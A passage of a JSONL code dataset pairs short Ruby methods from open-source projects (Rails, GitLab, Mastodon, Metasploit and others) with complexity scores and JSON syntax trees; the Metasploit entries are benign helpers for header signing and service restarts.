10.5\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ScreenSize\"]},\"IOS_IPAD_11\"]},{\"type\":\"str\",\"children\":[\"iPad 11\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ScreenSize\"]},\"IOS_IPAD_PRO\"]},{\"type\":\"str\",\"children\":[\"iPad Pro\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ScreenSize\"]},\"IOS_IPAD_PRO_12_9\"]},{\"type\":\"str\",\"children\":[\"iPad Pro (12.9-inch) (3rd generation)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ScreenSize\"]},\"IOS_40_MESSAGES\"]},{\"type\":\"str\",\"children\":[\"iPhone 5 (iMessage)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ScreenSize\"]},\"IOS_47_MESSAGES\"]},{\"type\":\"str\",\"children\":[\"iPhone 6 (iMessage)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ScreenSize\"]},\"IOS_55_MESSAGES\"]},{\"type\":\"str\",\"children\":[\"iPhone 6 Plus (iMessage)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ScreenSize\"]},\"IOS_58_MESSAGES\"]},{\"type\":\"str\",\"children\":[\"iPhone XS (iMessage)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ScreenSize\"]},\"IOS_61_MESSAGES\"]},{\"type\":\"str\",\"children\":[\"iPhone 14 Pro (iMessage)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ScreenSize\"]},\"IOS_65_MESSAGES\"]},{\"type\":\"str\",\"children\":[\"iPhone XS Max (iMessage)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ScreenSize\"]},\"IOS_67_MESSAGES\"]},{\"type\":\"str\",\"children\":[\"iPhone 14 Pro Max (iMessage)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ScreenSize\"]},\"IOS_IPAD_MESSAGES\"]},{\"type\":\"str\",\"children\":[\"iPad (iMessage)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ScreenSize\"]},\"IOS_IPAD_PRO_MESSAGES\"]},{\"type\":\"str\",\"children\":[\"iPad Pro (iMessage)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ScreenSize\"]},\"IOS_IPAD_PRO_12_9_MESSAGES\"]},{\"type\":\"str\",\"children\":[\"iPad Pro (12.9-inch) (3rd generation) (iMessage)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ScreenSize\"]},\"IOS_IPAD_10_5_MESSAGES\"]},{\"type\":\"str\",\"children\":[\"iPad 10.5 (iMessage)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ScreenSize\"]},\"IOS_IPAD_11_MESSAGES\"]},{\"type\":\"str\",\"children\":[\"iPad 11 (iMessage)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ScreenSize\"]},\"MAC\"]},{\"type\":\"str\",\"children\":[\"Mac\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ScreenSize\"]},\"IOS_APPLE_WATCH\"]},{\"type\":\"str\",\"children\":[\"Watch\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ScreenSize\"]},\"IOS_APPLE_WATCH_SERIES4\"]},{\"type\":\"str\",\"children\":[\"Watch Series4\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ScreenSize\"]},\"IOS_APPLE_WATCH_SERIES7\"]},{\"type\":\"str\",\"children\":[\"Watch Series7\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ScreenSize\"]},\"IOS_APPLE_WATCH_ULTRA\"]},{\"type\":\"str\",\"children\":[\"Watch Ultra\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ScreenSize\"]},\"APPLE_TV\"]},{\"type\":\"str\",\"children\":[\"Apple TV\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matching\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"screen_size\"]}]}]}]}]}","id":"2bdcabd0-3991-4a68-8765-26cb580ddd23"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/ci/retry_waiting_job_service_spec.rb","start_line":206,"raw_source":"def expire_redis_ttl(cache_key)\n    redis_klass.with do |redis|\n      redis.del(cache_key)\n    end\n  end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"expire_redis_ttl\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cache_key\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redis_klass\"]},\"with\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"redis\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis\"]},\"del\",{\"type\":\"lvar\",\"children\":[\"cache_key\"]}]}]}]}","id":"3102bae2-5e30-4e99-a2e9-8ddd1a36ac14"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/aws/client.rb","start_line":89,"raw_source":"def headers(creds, service, body_digest, now = nil)\n          now = Time.now.utc.strftime(\"%Y%m%dT%H%M%SZ\") if now.nil?\n          headers = {\n            'Content-Type' => 'application/x-www-form-urlencoded; charset=utf-8',\n            'Accept-Encoding' => '',\n            'User-Agent' => USER_AGENT,\n            'X-Amz-Date' => now,\n            'Host' => datastore['RHOST'],\n            'X-Amz-Content-Sha256' => body_digest,\n            'Accept' => '*/*'\n          }\n          headers['X-Amz-Security-Token'] = creds['Token'] if creds['Token']\n          sign_headers = ['Content-Type', 'Host', 'User-Agent', 'X-Amz-Content-Sha256', 'X-Amz-Date']\n          auth_headers = headers.select { |k, _| sign_headers.include?(k) }\n          headers['Authorization'] = auth(creds, service, auth_headers, body_digest, now)\n          headers\n        end","complexity_score":22.5,"ast_json":"{\"type\":\"def\",\"children\":[\"headers\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"creds\"]},{\"type\":\"arg\",\"children\":[\"service\"]},{\"type\":\"arg\",\"children\":[\"body_digest\"]},{\"type\":\"optarg\",\"children\":[\"now\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"now\"]},\"nil?\"]},{\"type\":\"lvasgn\",\"children\":[\"now\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%Y%m%dT%H%M%SZ\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"headers\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/x-www-form-urlencoded; charset=utf-8\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Accept-Encoding\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"User-Agent\"]},{\"type\":\"const\",\"children\":[null,\"USER_AGENT\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"X-Amz-Date\"]},{\"type\":\"lvar\",\"children\":[\"now\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOST\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"X-Amz-Content-Sha256\"]},{\"type\":\"lvar\",\"children\":[\"body_digest\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Accept\"]},{\"type\":\"str\",\"children\":[\"*/*\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"creds\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Token\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"X-Amz-Security-Token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"creds\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Token\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"sign_headers\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"Host\"]},{\"type\":\"str\",\"children\":[\"User-Agent\"]},{\"type\":\"str\",\"children\":[\"X-Amz-Content-Sha256\"]},{\"type\":\"str\",\"children\":[\"X-Amz-Date\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"auth_headers\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sign_headers\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"k\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Authorization\"]},{\"type\":\"send\",\"children\":[null,\"auth\",{\"type\":\"lvar\",\"children\":[\"creds\"]},{\"type\":\"lvar\",\"children\":[\"service\"]},{\"type\":\"lvar\",\"children\":[\"auth_headers\"]},{\"type\":\"lvar\",\"children\":[\"body_digest\"]},{\"type\":\"lvar\",\"children\":[\"now\"]}]}]},{\"type\":\"lvar\",\"children\":[\"headers\"]}]}]}","id":"04e785b2-306b-4066-acac-4d841f48ab9f"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/payments/customer.rb","start_line":31,"raw_source":"def get_source(customer, source_id)\n        request do\n          customer.sources.retrieve(source_id)\n        end\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"get_source\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"customer\"]},{\"type\":\"arg\",\"children\":[\"source_id\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"customer\"]},\"sources\"]},\"retrieve\",{\"type\":\"lvar\",\"children\":[\"source_id\"]}]}]}]}","id":"e9218f49-d30f-48c7-acd5-6d365a0de171"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/lib/report/result.rb","start_line":40,"raw_source":"def initialize(value)\n      @important_fields ||= []\n      @type = :direct\n      @value = value\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@important_fields\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@type\",{\"type\":\"sym\",\"children\":[\"direct\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@value\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"88e5ac6e-662d-413b-913d-653ebec6356d"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/connection_handler.rb","start_line":58,"raw_source":"def initialize(name, primary = false)\n          @name = name\n          @primary = primary\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"primary\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@name\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@primary\",{\"type\":\"lvar\",\"children\":[\"primary\"]}]}]}]}","id":"f28c24bd-532f-4be3-b23f-bb48ed734582"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_server/log_management.rb","start_line":34,"raw_source":"def last_log_sync_on\n    log_files.maximum(:updated_on)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"last_log_sync_on\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_files\"]},\"maximum\",{\"type\":\"sym\",\"children\":[\"updated_on\"]}]}]}","id":"7ab7e0bd-5e32-4386-9a5a-1f9ae0a1f185"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/builders/messages/instagram/base_message_builder.rb","start_line":117,"raw_source":"def build_conversation\n    @contact_inbox ||= contact.contact_inboxes.find_by!(source_id: message_source_id)\n    Conversation.create!(conversation_params.merge(\n                           contact_inbox_id: @contact_inbox.id,\n                           additional_attributes: additional_conversation_attributes\n                         ))\n  end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"build_conversation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@contact_inbox\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"contact\"]},\"contact_inboxes\"]},\"find_by!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_id\"]},{\"type\":\"send\",\"children\":[null,\"message_source_id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Conversation\"]},\"create!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"conversation_params\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"contact_inbox_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@contact_inbox\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"additional_attributes\"]},{\"type\":\"send\",\"children\":[null,\"additional_conversation_attributes\"]}]}]}]}]}]}]}","id":"28843958-d7af-4216-9959-06e10b6f5247"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/external_issue.rb","start_line":38,"raw_source":"def project_id\n    project.id\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"project_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]}","id":"2673eb87-a8a9-4072-8de6-0a242b0100ec"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/lib/task_helpers/exports/service_dialogs_spec.rb","start_line":46,"raw_source":"def without_version(data)\n    data.map do |dialog|\n      dialog.except('export_version')\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"without_version\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dialog\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dialog\"]},\"except\",{\"type\":\"str\",\"children\":[\"export_version\"]}]}]}]}","id":"f4f4fdec-6b6a-47a7-8f0d-7a45a4a052c7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/unquoted_service_path.rb","start_line":200,"raw_source":"def service_restart(name)\n    print_status(\"[#{name}] Restarting service\")\n    super\n  rescue RuntimeError => e\n    print_error(\"[#{name}] Restarting service failed: #{e}\")\n    false\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"service_restart\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"] Restarting service\"]}]}]},{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"] Restarting service failed: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"false\",\"children\":[]}]}]},null]}]}","id":"b8d23b37-a99b-44a9-9462-bc9b98d05a9e"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/projects/show.rb","start_line":111,"raw_source":"def within_life_cycle_sidebar(&)\n        within_test_selector(\"project-life-cycle-sidebar-async-content\", &)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"within_life_cycle_sidebar\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"send\",\"children\":[null,\"within_test_selector\",{\"type\":\"str\",\"children\":[\"project-life-cycle-sidebar-async-content\"]},{\"type\":\"block_pass\",\"children\":[null]}]}]}","id":"dbcb5e0c-d6a3-4d42-a7a8-2e2c101eb57c"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/trends/tags.rb","start_line":33,"raw_source":"def register(status, at_time = Time.now.utc)\n    return unless !status.reblog? && status.public_visibility? && !status.account.silenced?\n\n    status.tags.each do |tag|\n      add(tag, status.account_id, at_time) if tag.usable?\n    end\n  end","complexity_score":22.1,"ast_json":"{\"type\":\"def\",\"children\":[\"register\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status\"]},{\"type\":\"optarg\",\"children\":[\"at_time\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"reblog?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"public_visibility?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"account\"]},\"silenced?\"]},\"!\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"tags\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"usable?\"]},{\"type\":\"send\",\"children\":[null,\"add\",{\"type\":\"lvar\",\"children\":[\"tag\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"account_id\"]},{\"type\":\"lvar\",\"children\":[\"at_time\"]}]},null]}]}]}]}","id":"b24efee3-42bb-4d19-9692-bdc184f4907b"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/dsl.rb","start_line":343,"raw_source":"def first_data_timeout(seconds)\n      @options[:first_data_timeout] = Integer(seconds)\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"first_data_timeout\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"seconds\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"first_data_timeout\"]},{\"type\":\"send\",\"children\":[null,\"Integer\",{\"type\":\"lvar\",\"children\":[\"seconds\"]}]}]}]}","id":"3343f8af-693c-40c8-9f7b-40b29984c77a"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/lib/reverse_etl/transformers/user_mapping.rb","start_line":87,"raw_source":"def static_mapping(mapping)\n        dest_keys = mapping[:to].split(\".\")\n        static_value = mapping[:from]\n        extract_destination_mapping(dest_keys, static_value)\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"static_mapping\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mapping\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dest_keys\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapping\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"to\"]}]},\"split\",{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"static_value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapping\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"from\"]}]}]},{\"type\":\"send\",\"children\":[null,\"extract_destination_mapping\",{\"type\":\"lvar\",\"children\":[\"dest_keys\"]},{\"type\":\"lvar\",\"children\":[\"static_value\"]}]}]}]}","id":"f2e29d0d-1893-471b-b0a9-fd35b322a9f8"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/enum.rb","start_line":50,"raw_source":"def except(*keys)\n    dup.tap { |d| d.delete_if { |k| keys.include?(k) } }\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"except\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"keys\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dup\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"d\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"delete_if\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"k\"]}]}]}]}]}","id":"6f4debf0-db78-4eeb-9145-1e853489ae6b"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/select_by_regexp.rb","start_line":117,"raw_source":"def replacement(regexp_method_send_node, node)\n          opposite = opposite?(regexp_method_send_node)\n\n          method_name = node.method_name\n\n          opposite ? OPPOSITE_REPLACEMENTS[method_name] : REPLACEMENTS[method_name]\n        end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"replacement\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"regexp_method_send_node\"]},{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"opposite\",{\"type\":\"send\",\"children\":[null,\"opposite?\",{\"type\":\"lvar\",\"children\":[\"regexp_method_send_node\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"method_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"method_name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opposite\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OPPOSITE_REPLACEMENTS\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"method_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPLACEMENTS\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"method_name\"]}]}]}]}]}","id":"97a1b538-ca8b-4c95-b03f-4164ad871a59"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/aggregations_test.rb","start_line":124,"raw_source":"def test_nil_return_from_converter_results_in_failure_when_allow_nil_is_false\n    assert_raises(NoMethodError) do\n      customers(:barney).gps_location = \"\"\n    end\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_nil_return_from_converter_results_in_failure_when_allow_nil_is_false\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"NoMethodError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"customers\",{\"type\":\"sym\",\"children\":[\"barney\"]}]},\"gps_location=\",{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"21cc7999-901f-4943-bdd7-bce6b6b58e1b"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/app_generator_test.rb","start_line":104,"raw_source":"def test_skip_bundle\n    generator([destination_root], skip_bundle: true)\n    run_generator_instance\n\n    assert_empty @bundle_commands\n    # skip_bundle is only about running bundle install so ensure the Gemfile is still generated\n    assert_file \"Gemfile\"\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_skip_bundle\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generator\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destination_root\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_bundle\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"run_generator_instance\"]},{\"type\":\"send\",\"children\":[null,\"assert_empty\",{\"type\":\"ivar\",\"children\":[\"@bundle_commands\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"Gemfile\"]}]}]}]}","id":"222e4ab0-fbe0-48c4-809f-4018284c5f50"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/translation_helper_test.rb","start_line":350,"raw_source":"def test_translate_with_object_default\n    translation = translate(:'translations.missing', default: 123)\n    assert_equal 123, translation\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_translate_with_object_default\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"translation\",{\"type\":\"send\",\"children\":[null,\"translate\",{\"type\":\"sym\",\"children\":[\"translations.missing\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[123]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[123]},{\"type\":\"lvar\",\"children\":[\"translation\"]}]}]}]}","id":"2eba853e-7f3e-4e57-ad4d-763d1a0cec00"}
